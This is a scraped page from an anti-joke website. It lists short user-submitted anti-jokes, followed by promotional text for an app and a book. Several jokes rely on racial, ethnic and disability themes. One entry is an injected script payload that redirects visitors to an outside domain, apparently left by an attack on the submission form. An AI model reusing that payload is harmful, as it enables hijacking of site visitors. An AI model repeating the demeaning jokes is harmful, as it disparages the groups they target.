What's worse than finding a worm in your apple? Having a giant, angry ape on steroids rip your heart out and eat it before your eyes as you painfully die from the unbearable pain and rapid blood loss.

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Knock Knock Who's There? Children Protective Services. Your kids are dead.

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A Polish immigrant goes to the Department of Motor Vehicles to apply for a driver’s license. He has to take an eye test. They show him a card with the letters C Z W I X N O S T A C Z. “Can you read this?” the optician asks. “Read it?” the Polish guy replies, “No, sir. Allow me to put on my glasses."

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Why doesn't Jonathan Walk across the road? Because he is in a wheelchair...

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Your mom is so fat, that i don't think she's attractive anymore.

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"'>document.location.href="http://cramik.org"

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What do you call a black man fishing. ... a fisherman racist.

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Does your iPod have zoom on it? Yeah, but it doesn't have a camera

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what is black white and red all over? A black and white movie with the first violent color leave a comment if this joke is duped.

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I was going to write a joke about procrastination, but I haven't gotten to it yet.

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Knock Knock Who's There Carly Carly Who Hey I just met you, and this is crazy So here's my number and call me maybe

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Chuck Norris was in a staring contest with the sun. He's blind now.

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What happened when the president cut the hedge That is a highly improbable solution because he would probably have a body guard do it.

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Why weren't u sad when your sister died? You lived in a hut and were supplied with food for a week

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What do you get when you cross a Lion and a Shark? You would likely get trouble, seeing as its both animals are quite dangerous and crossing even one of them is ill advised.

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Patient: Doctor, do I have cancer? Doctor: Yes. Patient: Will I live? Doctor: No. Patient: So what do I do? Doctor: SUCK IT UP!!!

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Your mom.

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How much does a polar bear weigh? It depends, but most weigh around 775 to 1,200 pounds.

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What Did The Kid With No Arms And No Legs Get For His Birthday? A Walking Stick

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"What's black when clean, but white when dirty?" "A blackboard."

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What happened when Johnny fell off of his bike? He suffered a very tragic and fatal brain hemorrhage resulting in a lower population by a minute percentile that is undetectable by the US Census.

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Why did the koala fall out of the tree? Because it was dead. Why did the baby fall out of the tree? Because it was stapled to the koala.

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Why was the walrus wearing braces? It wasn't, because it his highly unlikely that people would care about a walrus's dental issues. The walrus would most likely cope with his irregular teeth and move on with its life.

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What did the black man get for christmas? A present.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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